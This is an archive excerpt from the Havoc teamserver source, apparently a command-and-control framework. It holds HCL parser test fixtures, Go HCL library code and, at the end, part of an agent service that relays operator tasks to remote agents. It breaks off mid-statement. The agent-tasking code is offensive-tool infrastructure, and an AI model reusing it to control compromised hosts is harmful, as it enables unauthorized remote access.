operators.hcldec000066400000000000000000000022701467014221700336510ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/expressionsobject { block_map "equality" { labels = ["operator"] object { attr "exactly" { type = bool } attr "not" { type = bool } attr "type_mismatch_number" { type = bool } attr "type_mismatch_bool" { type = bool } } } block_map "inequality" { labels = ["operator"] object { attr "lt" { type = bool } attr "gt" { type = bool } attr "eq" { type = bool } } } block "arithmetic" { object { attr "add" { type = any } attr "add_big" { type = any } attr "sub" { type = any } attr "sub_neg" { type = any } attr "mul" { type = any } attr "div" { type = any } attr "mod" { type = any } attr "mod_frac" { type = any } } } block_map "logical_binary" { labels = ["operator"] object { attr "tt" { type = bool } attr "ft" { type = bool } attr "tf" { type = bool } attr "ff" { type = bool } } } block_map "logical_unary" { labels = ["operator"] object { attr "t" { type = bool } attr "f" { type = bool } } } block "conditional" { object { attr "t" { type = any } attr "f" { type = any } } } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/expressions/operators.t000066400000000000000000000037651467014221700327630ustar00rootroot00000000000000result = { equality = { "==" = { exactly = true not = false type_mismatch_number = false type_mismatch_bool = false } "!=" = { exactly = false not = true type_mismatch_number = true type_mismatch_bool = true } } inequality = { "<" = { lt = true gt = false eq = false } "<=" = { lt = true gt = false eq = true } ">" = { lt = false gt = true eq = false } ">=" = { lt = false gt = true eq = true } } arithmetic = { add = 5.5 add_big = 4.14159265358979323846264338327950288419716939937510582097494459 sub = 1.5 sub_neg = -1.5 mul = 9 div = 0.1 mod = 1 mod_frac = 0.80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024 } logical_binary = { "&&" = { tt = true tf = false ft = false ff = false } "||" = { tt = true tf = true ft = true ff = false } } logical_unary = { "!" = { t = false f = true } } conditional = { t = "a" f = "b" } } result_type = object({ equality = map(object({ exactly = bool not = bool type_mismatch_number = bool type_mismatch_bool = bool })) inequality = map(object({ lt = bool gt = bool eq = bool })) arithmetic = object({ add = number add_big = number sub = number sub_neg = number mul = number div = number mod = number mod_frac = number }) logical_binary = map(object({ tt = bool tf = bool ft = bool ff = bool })) logical_unary = map(object({ t = bool f = bool })) conditional = object({ t = string f = string }) }) primitive_literals.hcl000066400000000000000000000007011467014221700350630ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/expressions# Numbers whole_number = 5 fractional_number = 3.2 fractional_number_precision = 3.14159265358979323846264338327950288419716939937510582097494459 # Strings string_ascii = "hello" string_unicode_bmp = "ЖЖ" string_unicode_astral = "👩‍👩‍👧‍👦" string_unicode_nonnorm = "años" # This is intentionally a combining tilde followed by n # Booleans true = true false = false # Null null = null primitive_literals.hcldec000066400000000000000000000006231467014221700355420ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/expressionsobject { attr "whole_number" { type = any } attr "fractional_number" { type = any } attr "fractional_number_precision" { type = any } attr "string_ascii" { type = any } attr "string_unicode_bmp" { type = any } attr "string_unicode_astral" { type = any } attr "string_unicode_nonnorm" { type = any } attr "true" { type = any } attr "false" { type = any } attr "null" { type = any } } primitive_literals.t000066400000000000000000000024141467014221700345630ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/expressionsresult_type = object({ whole_number = number fractional_number = number fractional_number_precision = number string_ascii = string string_unicode_bmp = string string_unicode_astral = string string_unicode_nonnorm = string true = bool false = bool null = any }) result = { # Numbers whole_number = 5 fractional_number = 3.2 fractional_number_precision = 3.14159265358979323846264338327950288419716939937510582097494459 # Strings string_ascii = "hello" string_unicode_bmp = "ЖЖ" string_unicode_astral = "👩‍👩‍👧‍👦" string_unicode_nonnorm = "años" # now a precomposed ñ, because HCL imposes NFC normalization # FIXME: The above normalization test doesn't necessarily test what it thinks # it is testing, because this file is also HCL and thus subject to # normalization; as long as the parser normalizes consistently this could # pass even if it's using a different normalization form. # The left hand side of these are quoted to make it clear that we're expecting # to get strings here, not really true/false/null. "true" = true "false" = false "null" = null } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/000077500000000000000000000000001467014221700302235ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/000077500000000000000000000000001467014221700324115ustar00rootroot00000000000000expected.hcl000066400000000000000000000000521467014221700346200ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributesa = "a value" b = "b value" c = "c value" expected.hcldec000066400000000000000000000001641467014221700353000ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributesobject { attr "a" { type = string } attr "b" { type = string } attr "c" { type = string } } expected.t000066400000000000000000000001761467014221700343240ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributesresult_type = object({ a = string b = string c = string }) result = { a = "a value" b = "b value" c = "c value" } singleline_bad.hcl000066400000000000000000000000351467014221700357570ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributesa = "a value", b = "b value" singleline_bad.hcldec000066400000000000000000000000331467014221700364310ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributesliteral { value = null } singleline_bad.t000066400000000000000000000006541467014221700354630ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes# This test verifies that comma-separated attributes on the same line are # reported as an error, rather than being parsed like an object constructor # expression. diagnostics { error { # Message like "missing newline after argument" or "each argument must be on its own line" from { line = 1 column = 14 byte = 13 } to { line = 1 column = 15 byte = 14 } } } unexpected.hcl000066400000000000000000000000701467014221700351630ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributesa = "a value" b = "b value" c = "c value" d = "d value" unexpected.hcldec000066400000000000000000000001641467014221700356430ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributesobject { attr "a" { type = string } attr "b" { type = string } attr "d" { type = string } } unexpected.t000066400000000000000000000003301467014221700346570ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributesdiagnostics { error { # An argument named "c" is not expected here. from { line = 3 column = 1 byte = 28 } to { line = 3 column = 2 byte = 29 } } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/000077500000000000000000000000001467014221700315005ustar00rootroot00000000000000single_empty_oneline.hcl000066400000000000000000000000051467014221700363140ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksa {} single_empty_oneline.hcldec000066400000000000000000000000511467014221700367710ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksblock { block_type = "a" object {} } single_empty_oneline.t000066400000000000000000000000311467014221700360100ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksresult_type = object({}) single_expected.hcl000066400000000000000000000000071467014221700352500ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksa { } single_expected.hcldec000066400000000000000000000000511467014221700357230ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksblock { block_type = "a" object {} } single_expected.t000066400000000000000000000000311467014221700347420ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksresult_type = object({}) single_oneline.hcl000066400000000000000000000000201467014221700350730ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksa { b = "foo" } single_oneline.hcldec000066400000000000000000000001251467014221700355550ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksblock { block_type = "a" object { attr "b" { type = string } } } single_oneline.t000066400000000000000000000001001467014221700345670ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksresult_type = object({ b = string }) result = { b = "foo" } single_oneline_invalid.hcl000066400000000000000000000001561467014221700366130ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksa { b = "foo", c = "bar" } a { b = "foo" } a { b = "foo" c = "bar" } a { b = "foo" c = "bar" } a { d {} } single_oneline_invalid.hcldec000066400000000000000000000002561467014221700372700ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksblock_list { block_type = "a" object { attr "b" { type = string } attr "c" { type = string } block_list "d" { object {} } } } single_oneline_invalid.t000066400000000000000000000023361467014221700363120ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksdiagnostics { error { # Message like "Only one argument is allowed in a single-line block definition" from { line = 1 column = 14 byte = 13 } to { line = 1 column = 15 byte = 14 } } error { # Message like "The closing brace for a single-line block definition must be on the same line" from { line = 2 column = 14 byte = 40 } to { line = 3 column = 1 byte = 41 } } error { # Message like "The closing brace for a single-line block definition must be on the same line" from { line = 4 column = 14 byte = 56 } to { line = 5 column = 1 byte = 57 } } error { # Message like "The closing brace for a single-line block definition must be on the same line" from { line = 6 column = 14 byte = 84 } to { line = 7 column = 1 byte = 85 } } error { # Message like "A single-line block definition cannot contain another block definition" from { line = 9 column = 5 byte = 103 } to { line = 9 column = 8 byte = 106 } } } single_unclosed.hcl000066400000000000000000000000041467014221700352600ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksa { single_unclosed.hcldec000066400000000000000000000000511467014221700357360ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksblock { block_type = "a" object {} } single_unclosed.t000066400000000000000000000002441467014221700347630ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocksdiagnostics { error { from { line = 2 column = 1 byte = 4 } to { line = 2 column = 1 byte = 4 } } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/static_expr.go000066400000000000000000000016731467014221700257000ustar00rootroot00000000000000package hcl import ( "github.com/zclconf/go-cty/cty" ) type staticExpr struct { val cty.Value rng Range } // StaticExpr returns an Expression that always evaluates to the given value. // // This is useful to substitute default values for expressions that are // not explicitly given in configuration and thus would otherwise have no // Expression to return. // // Since expressions are expected to have a source range, the caller must // provide one. Ideally this should be a real source range, but it can // be a synthetic one (with an empty-string filename) if no suitable range // is available. func StaticExpr(val cty.Value, rng Range) Expression { return staticExpr{val, rng} } func (e staticExpr) Value(ctx *EvalContext) (cty.Value, Diagnostics) { return e.val, nil } func (e staticExpr) Variables() []Traversal { return nil } func (e staticExpr) Range() Range { return e.rng } func (e staticExpr) StartRange() Range { return e.rng } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/structure.go000066400000000000000000000123711467014221700254100ustar00rootroot00000000000000package hcl import ( "github.com/zclconf/go-cty/cty" ) // File is the top-level node that results from parsing a HCL file. type File struct { Body Body Bytes []byte // Nav is used to integrate with the "hcled" editor integration package, // and with diagnostic information formatters. It is not for direct use // by a calling application. Nav interface{} } // Block represents a nested block within a Body. type Block struct { Type string Labels []string Body Body DefRange Range // Range that can be considered the "definition" for seeking in an editor TypeRange Range // Range for the block type declaration specifically. LabelRanges []Range // Ranges for the label values specifically. } // Blocks is a sequence of Block. type Blocks []*Block // Attributes is a set of attributes keyed by their names. type Attributes map[string]*Attribute // Body is a container for attributes and blocks. It serves as the primary // unit of hierarchical structure within configuration. // // The content of a body cannot be meaningfully interpreted without a schema, // so Body represents the raw body content and has methods that allow the // content to be extracted in terms of a given schema. type Body interface { // Content verifies that the entire body content conforms to the given // schema and then returns it, and/or returns diagnostics. The returned // body content is valid if non-nil, regardless of whether Diagnostics // are provided, but diagnostics should still be eventually shown to // the user. Content(schema *BodySchema) (*BodyContent, Diagnostics) // PartialContent is like Content except that it permits the configuration // to contain additional blocks or attributes not specified in the // schema. If any are present, the returned Body is non-nil and contains // the remaining items from the body that were not selected by the schema. PartialContent(schema *BodySchema) (*BodyContent, Body, Diagnostics) // JustAttributes attempts to interpret all of the contents of the body // as attributes, allowing for the contents to be accessed without a priori // knowledge of the structure. // // The behavior of this method depends on the body's source language. // Some languages, like JSON, can't distinguish between attributes and // blocks without schema hints, but for languages that _can_ error // diagnostics will be generated if any blocks are present in the body. // // Diagnostics may be produced for other reasons too, such as duplicate // declarations of the same attribute. JustAttributes() (Attributes, Diagnostics) // MissingItemRange returns a range that represents where a missing item // might hypothetically be inserted. This is used when producing // diagnostics about missing required attributes or blocks. Not all bodies // will have an obvious single insertion point, so the result here may // be rather arbitrary. MissingItemRange() Range } // BodyContent is the result of applying a BodySchema to a Body. type BodyContent struct { Attributes Attributes Blocks Blocks MissingItemRange Range } // Attribute represents an attribute from within a body. type Attribute struct { Name string Expr Expression Range Range NameRange Range } // Expression is a literal value or an expression provided in the // configuration, which can be evaluated within a scope to produce a value. type Expression interface { // Value returns the value resulting from evaluating the expression // in the given evaluation context. // // The context may be nil, in which case the expression may contain // only constants and diagnostics will be produced for any non-constant // sub-expressions. (The exact definition of this depends on the source // language.) // // The context may instead be set but have either its Variables or // Functions maps set to nil, in which case only use of these features // will return diagnostics. // // Different diagnostics are provided depending on whether the given // context maps are nil or empty. In the former case, the message // tells the user that variables/functions are not permitted at all, // while in the latter case usage will produce a "not found" error for // the specific symbol in question. Value(ctx *EvalContext) (cty.Value, Diagnostics) // Variables returns a list of variables referenced in the receiving // expression. These are expressed as absolute Traversals, so may include // additional information about how the variable is used, such as // attribute lookups, which the calling application can potentially use // to only selectively populate the scope. Variables() []Traversal Range() Range StartRange() Range } // OfType filters the receiving block sequence by block type name, // returning a new block sequence including only the blocks of the // requested type. func (els Blocks) OfType(typeName string) Blocks { ret := make(Blocks, 0) for _, el := range els { if el.Type == typeName { ret = append(ret, el) } } return ret } // ByType transforms the receiving block sequence into a map from type // name to block sequences of only that type. func (els Blocks) ByType() map[string]Blocks { ret := make(map[string]Blocks) for _, el := range els { ty := el.Type if ret[ty] == nil { ret[ty] = make(Blocks, 0, 1) } ret[ty] = append(ret[ty], el) } return ret } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/structure_at_pos.go000066400000000000000000000103521467014221700267520ustar00rootroot00000000000000package hcl // ----------------------------------------------------------------------------- // The methods in this file all have the general pattern of making a best-effort // to find one or more constructs that contain a given source position. // // These all operate by delegating to an optional method of the same name and // signature on the file's root body, allowing each syntax to potentially // provide its own implementations of these. For syntaxes that don't implement // them, the result is always nil. // ----------------------------------------------------------------------------- // BlocksAtPos attempts to find all of the blocks that contain the given // position, ordered so that the outermost block is first and the innermost // block is last. This is a best-effort method that may not be able to produce // a complete result for all positions or for all HCL syntaxes. // // If the returned slice is non-empty, the first element is guaranteed to // represent the same block as would be the result of OutermostBlockAtPos and // the last element the result of InnermostBlockAtPos. However, the // implementation may return two different objects describing the same block, // so comparison by pointer identity is not possible. // // The result is nil if no blocks at all contain the given position. func (f *File) BlocksAtPos(pos Pos) []*Block { // The root body of the file must implement this interface in order // to support BlocksAtPos. type Interface interface { BlocksAtPos(pos Pos) []*Block } impl, ok := f.Body.(Interface) if !ok { return nil } return impl.BlocksAtPos(pos) } // OutermostBlockAtPos attempts to find a top-level block in the receiving file // that contains the given position. This is a best-effort method that may not // be able to produce a result for all positions or for all HCL syntaxes. // // The result is nil if no single block could be selected for any reason. func (f *File) OutermostBlockAtPos(pos Pos) *Block { // The root body of the file must implement this interface in order // to support OutermostBlockAtPos. type Interface interface { OutermostBlockAtPos(pos Pos) *Block } impl, ok := f.Body.(Interface) if !ok { return nil } return impl.OutermostBlockAtPos(pos) } // InnermostBlockAtPos attempts to find the most deeply-nested block in the // receiving file that contains the given position. This is a best-effort // method that may not be able to produce a result for all positions or for // all HCL syntaxes. // // The result is nil if no single block could be selected for any reason. func (f *File) InnermostBlockAtPos(pos Pos) *Block { // The root body of the file must implement this interface in order // to support InnermostBlockAtPos. type Interface interface { InnermostBlockAtPos(pos Pos) *Block } impl, ok := f.Body.(Interface) if !ok { return nil } return impl.InnermostBlockAtPos(pos) } // OutermostExprAtPos attempts to find an expression in the receiving file // that contains the given position. This is a best-effort method that may not // be able to produce a result for all positions or for all HCL syntaxes. // // Since expressions are often nested inside one another, this method returns // the outermost "root" expression that is not contained by any other. // // The result is nil if no single expression could be selected for any reason. func (f *File) OutermostExprAtPos(pos Pos) Expression { // The root body of the file must implement this interface in order // to support OutermostExprAtPos. type Interface interface { OutermostExprAtPos(pos Pos) Expression } impl, ok := f.Body.(Interface) if !ok { return nil } return impl.OutermostExprAtPos(pos) } // AttributeAtPos attempts to find an attribute definition in the receiving // file that contains the given position. This is a best-effort method that may // not be able to produce a result for all positions or for all HCL syntaxes. // // The result is nil if no single attribute could be selected for any reason. func (f *File) AttributeAtPos(pos Pos) *Attribute { // The root body of the file must implement this interface in order // to support OutermostExprAtPos. type Interface interface { AttributeAtPos(pos Pos) *Attribute } impl, ok := f.Body.(Interface) if !ok { return nil } return impl.AttributeAtPos(pos) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/traversal.go000066400000000000000000000176751467014221700253670ustar00rootroot00000000000000package hcl import ( "fmt" "github.com/zclconf/go-cty/cty" ) // A Traversal is a description of traversing through a value through a // series of operations such as attribute lookup, index lookup, etc. // // It is used to look up values in scopes, for example. // // The traversal operations are implementations of interface Traverser. // This is a closed set of implementations, so the interface cannot be // implemented from outside this package. // // A traversal can be absolute (its first value is a symbol name) or relative // (starts from an existing value). type Traversal []Traverser // TraversalJoin appends a relative traversal to an absolute traversal to // produce a new absolute traversal. func TraversalJoin(abs Traversal, rel Traversal) Traversal { if abs.IsRelative() { panic("first argument to TraversalJoin must be absolute") } if !rel.IsRelative() { panic("second argument to TraversalJoin must be relative") } ret := make(Traversal, len(abs)+len(rel)) copy(ret, abs) copy(ret[len(abs):], rel) return ret } // TraverseRel applies the receiving traversal to the given value, returning // the resulting value. This is supported only for relative traversals, // and will panic if applied to an absolute traversal. func (t Traversal) TraverseRel(val cty.Value) (cty.Value, Diagnostics) { if !t.IsRelative() { panic("can't use TraverseRel on an absolute traversal") } current := val var diags Diagnostics for _, tr := range t { var newDiags Diagnostics current, newDiags = tr.TraversalStep(current) diags = append(diags, newDiags...) if newDiags.HasErrors() { return cty.DynamicVal, diags } } return current, diags } // TraverseAbs applies the receiving traversal to the given eval context, // returning the resulting value. This is supported only for absolute // traversals, and will panic if applied to a relative traversal. func (t Traversal) TraverseAbs(ctx *EvalContext) (cty.Value, Diagnostics) { if t.IsRelative() { panic("can't use TraverseAbs on a relative traversal") } split := t.SimpleSplit() root := split.Abs[0].(TraverseRoot) name := root.Name thisCtx := ctx hasNonNil := false for thisCtx != nil { if thisCtx.Variables == nil { thisCtx = thisCtx.parent continue } hasNonNil = true val, exists := thisCtx.Variables[name] if exists { return split.Rel.TraverseRel(val) } thisCtx = thisCtx.parent } if !hasNonNil { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: "Variables not allowed", Detail: "Variables may not be used here.", Subject: &root.SrcRange, }, } } suggestions := make([]string, 0, len(ctx.Variables)) thisCtx = ctx for thisCtx != nil { for k := range thisCtx.Variables { suggestions = append(suggestions, k) } thisCtx = thisCtx.parent } suggestion := nameSuggestion(name, suggestions) if suggestion != "" { suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) } return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: "Unknown variable", Detail: fmt.Sprintf("There is no variable named %q.%s", name, suggestion), Subject: &root.SrcRange, }, } } // IsRelative returns true if the receiver is a relative traversal, or false // otherwise. func (t Traversal) IsRelative() bool { if len(t) == 0 { return true } if _, firstIsRoot := t[0].(TraverseRoot); firstIsRoot { return false } return true } // SimpleSplit returns a TraversalSplit where the name lookup is the absolute // part and the remainder is the relative part. Supported only for // absolute traversals, and will panic if applied to a relative traversal. // // This can be used by applications that have a relatively-simple variable // namespace where only the top-level is directly populated in the scope, with // everything else handled by relative lookups from those initial values. func (t Traversal) SimpleSplit() TraversalSplit { if t.IsRelative() { panic("can't use SimpleSplit on a relative traversal") } return TraversalSplit{ Abs: t[0:1], Rel: t[1:], } } // RootName returns the root name for a absolute traversal. Will panic if // called on a relative traversal. func (t Traversal) RootName() string { if t.IsRelative() { panic("can't use RootName on a relative traversal") } return t[0].(TraverseRoot).Name } // SourceRange returns the source range for the traversal. func (t Traversal) SourceRange() Range { if len(t) == 0 { // Nothing useful to return here, but we'll return something // that's correctly-typed at least. return Range{} } return RangeBetween(t[0].SourceRange(), t[len(t)-1].SourceRange()) } // TraversalSplit represents a pair of traversals, the first of which is // an absolute traversal and the second of which is relative to the first. // // This is used by calling applications that only populate prefixes of the // traversals in the scope, with Abs representing the part coming from the // scope and Rel representing the remaining steps once that part is // retrieved. type TraversalSplit struct { Abs Traversal Rel Traversal } // TraverseAbs traverses from a scope to the value resulting from the // absolute traversal. func (t TraversalSplit) TraverseAbs(ctx *EvalContext) (cty.Value, Diagnostics) { return t.Abs.TraverseAbs(ctx) } // TraverseRel traverses from a given value, assumed to be the result of // TraverseAbs on some scope, to a final result for the entire split traversal. func (t TraversalSplit) TraverseRel(val cty.Value) (cty.Value, Diagnostics) { return t.Rel.TraverseRel(val) } // Traverse is a convenience function to apply TraverseAbs followed by // TraverseRel. func (t TraversalSplit) Traverse(ctx *EvalContext) (cty.Value, Diagnostics) { v1, diags := t.TraverseAbs(ctx) if diags.HasErrors() { return cty.DynamicVal, diags } v2, newDiags := t.TraverseRel(v1) diags = append(diags, newDiags...) return v2, diags } // Join concatenates together the Abs and Rel parts to produce a single // absolute traversal. func (t TraversalSplit) Join() Traversal { return TraversalJoin(t.Abs, t.Rel) } // RootName returns the root name for the absolute part of the split. func (t TraversalSplit) RootName() string { return t.Abs.RootName() } // A Traverser is a step within a Traversal. type Traverser interface { TraversalStep(cty.Value) (cty.Value, Diagnostics) SourceRange() Range isTraverserSigil() isTraverser } // Embed this in a struct to declare it as a Traverser type isTraverser struct { } func (tr isTraverser) isTraverserSigil() isTraverser { return isTraverser{} } // TraverseRoot looks up a root name in a scope. It is used as the first step // of an absolute Traversal, and cannot itself be traversed directly. type TraverseRoot struct { isTraverser Name string SrcRange Range } // TraversalStep on a TraverseName immediately panics, because absolute // traversals cannot be directly traversed. func (tn TraverseRoot) TraversalStep(cty.Value) (cty.Value, Diagnostics) { panic("Cannot traverse an absolute traversal") } func (tn TraverseRoot) SourceRange() Range { return tn.SrcRange } // TraverseAttr looks up an attribute in its initial value. type TraverseAttr struct { isTraverser Name string SrcRange Range } func (tn TraverseAttr) TraversalStep(val cty.Value) (cty.Value, Diagnostics) { return GetAttr(val, tn.Name, &tn.SrcRange) } func (tn TraverseAttr) SourceRange() Range { return tn.SrcRange } // TraverseIndex applies the index operation to its initial value. type TraverseIndex struct { isTraverser Key cty.Value SrcRange Range } func (tn TraverseIndex) TraversalStep(val cty.Value) (cty.Value, Diagnostics) { return Index(val, tn.Key, &tn.SrcRange) } func (tn TraverseIndex) SourceRange() Range { return tn.SrcRange } // TraverseSplat applies the splat operation to its initial value. type TraverseSplat struct { isTraverser Each Traversal SrcRange Range } func (tn TraverseSplat) TraversalStep(val cty.Value) (cty.Value, Diagnostics) { panic("TraverseSplat not yet implemented") } func (tn TraverseSplat) SourceRange() Range { return tn.SrcRange } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/traversal_for_expr.go000066400000000000000000000112201467014221700272470ustar00rootroot00000000000000package hcl // AbsTraversalForExpr attempts to interpret the given expression as // an absolute traversal, or returns error diagnostic(s) if that is // not possible for the given expression. // // A particular Expression implementation can support this function by // offering a method called AsTraversal that takes no arguments and // returns either a valid absolute traversal or nil to indicate that // no traversal is possible. Alternatively, an implementation can support // UnwrapExpression to delegate handling of this function to a wrapped // Expression object. // // In most cases the calling application is interested in the value // that results from an expression, but in rarer cases the application // needs to see the the name of the variable and subsequent // attributes/indexes itself, for example to allow users to give references // to the variables themselves rather than to their values. An implementer // of this function should at least support attribute and index steps. func AbsTraversalForExpr(expr Expression) (Traversal, Diagnostics) { type asTraversal interface { AsTraversal() Traversal } physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { _, supported := expr.(asTraversal) return supported }) if asT, supported := physExpr.(asTraversal); supported { if traversal := asT.AsTraversal(); traversal != nil { return traversal, nil } } return nil, Diagnostics{ &Diagnostic{ Severity: DiagError, Summary: "Invalid expression", Detail: "A single static variable reference is required: only attribute access and indexing with constant keys. No calculations, function calls, template expressions, etc are allowed here.", Subject: expr.Range().Ptr(), }, } } // RelTraversalForExpr is similar to AbsTraversalForExpr but it returns // a relative traversal instead. Due to the nature of HCL expressions, the // first element of the returned traversal is always a TraverseAttr, and // then it will be followed by zero or more other expressions. // // Any expression accepted by AbsTraversalForExpr is also accepted by // RelTraversalForExpr. func RelTraversalForExpr(expr Expression) (Traversal, Diagnostics) { traversal, diags := AbsTraversalForExpr(expr) if len(traversal) > 0 { ret := make(Traversal, len(traversal)) copy(ret, traversal) root := traversal[0].(TraverseRoot) ret[0] = TraverseAttr{ Name: root.Name, SrcRange: root.SrcRange, } return ret, diags } return traversal, diags } // ExprAsKeyword attempts to interpret the given expression as a static keyword, // returning the keyword string if possible, and the empty string if not. // // A static keyword, for the sake of this function, is a single identifier. // For example, the following attribute has an expression that would produce // the keyword "foo": // // example = foo // // This function is a variant of AbsTraversalForExpr, which uses the same // interface on the given expression. This helper constrains the result // further by requiring only a single root identifier. // // This function is intended to be used with the following idiom, to recognize // situations where one of a fixed set of keywords is required and arbitrary // expressions are not allowed: // // switch hcl.ExprAsKeyword(expr) { // case "allow": // // (take suitable action for keyword "allow") // case "deny": // // (take suitable action for keyword "deny") // default: // diags = append(diags, &hcl.Diagnostic{ // // ... "invalid keyword" diagnostic message ... // }) // } // // The above approach will generate the same message for both the use of an // unrecognized keyword and for not using a keyword at all, which is usually // reasonable if the message specifies that the given value must be a keyword // from that fixed list. // // Note that in the native syntax the keywords "true", "false", and "null" are // recognized as literal values during parsing and so these reserved words // cannot not be accepted as keywords by this function. // // Since interpreting an expression as a keyword bypasses usual expression // evaluation, it should be used sparingly for situations where e.g. one of // a fixed set of keywords is used in a structural way in a special attribute // to affect the further processing of a block. func ExprAsKeyword(expr Expression) string { type asTraversal interface { AsTraversal() Traversal } physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { _, supported := expr.(asTraversal) return supported }) if asT, supported := physExpr.(asTraversal); supported { if traversal := asT.AsTraversal(); len(traversal) == 1 { return traversal.RootName() } } return "" } havoc-0.6~git20240910.69ce17c/teamserver/pkg/service/000077500000000000000000000000001467014221700216655ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/service/agent.go000066400000000000000000000102231467014221700233100ustar00rootroot00000000000000package service import ( "encoding/base64" "encoding/json" "fmt" "Havoc/pkg/agent" "Havoc/pkg/logger" "Havoc/pkg/utils" ) type CommandParam struct { Name string `json:"Name"` IsFilePath bool `json:"IsFilePath"` IsOptional bool `json:"IsOptional"` } type Command struct { Name string `json:"Name"` Description string `json:"Description"` Help string `json:"Help"` NeedAdmin bool `json:"NeedAdmin"` Mitr []string `json:"Mitr"` Params []CommandParam `json:"Params"` } type AgentService struct { Name string `json:"Name"` MagicValue string `json:"MagicValue"` Author string `json:"Author"` Formats []struct { Name string Extension string } `json:"Formats"` SupportedOS []string `json:"SupportedOS"` Description string `json:"Description"` Commands []Command `json:"Commands"` BuildingConfig map[string]interface{} `json:"BuildingConfig"` client *ClientService `json:"-"` service *Service `json:"-"` } func NewAgentService(data []byte, client *ClientService) *AgentService { var service = new(AgentService) service.client = client err := json.Unmarshal(data, service) if err != nil { logger.Error("Failed to unmarshal json to object: " + err.Error()) return nil } return service } func (a *AgentService) Json() string { var JsonString, err = json.Marshal(a) if err != nil { return "" } return string(JsonString) } func (a *AgentService) SendTask(Command map[string]interface{}, AgentInfo any) { var AgentRequest = map[string]map[string]interface{}{ "Head": { "Type": HeadAgent, }, "Body": { "Type": BodyAgentTask, "Agent": AgentInfo, "Command": Command, "Task": "Add", }, } if err := a.client.WriteJson(AgentRequest); err != nil { logger.Error("Failed to write json to websocket: " + err.Error()) return } } func (a *AgentService) SendResponse(AgentInfo any, Header agent.Header) []byte { var ( randID = utils.GenerateID(6) header = map[string]any{ "Size": fmt.Sprintf("%v", Header.Size), "AgentID": fmt.Sprintf("%08x", Header.AgentID), "MagicValue": fmt.Sprintf("%x", Header.MagicValue), } AgentResponse = map[string]map[string]interface{}{ "Head": { "Type": HeadAgent, }, "Body": { "Type": BodyAgentResponse, "Agent": AgentInfo, "RandID": randID, "AgentHeader": header, "Response": base64.StdEncoding.EncodeToString(Header.Data.Buffer()), }, } ) logger.Debug(AgentResponse) if a.client.Responses == nil { a.client.Responses = 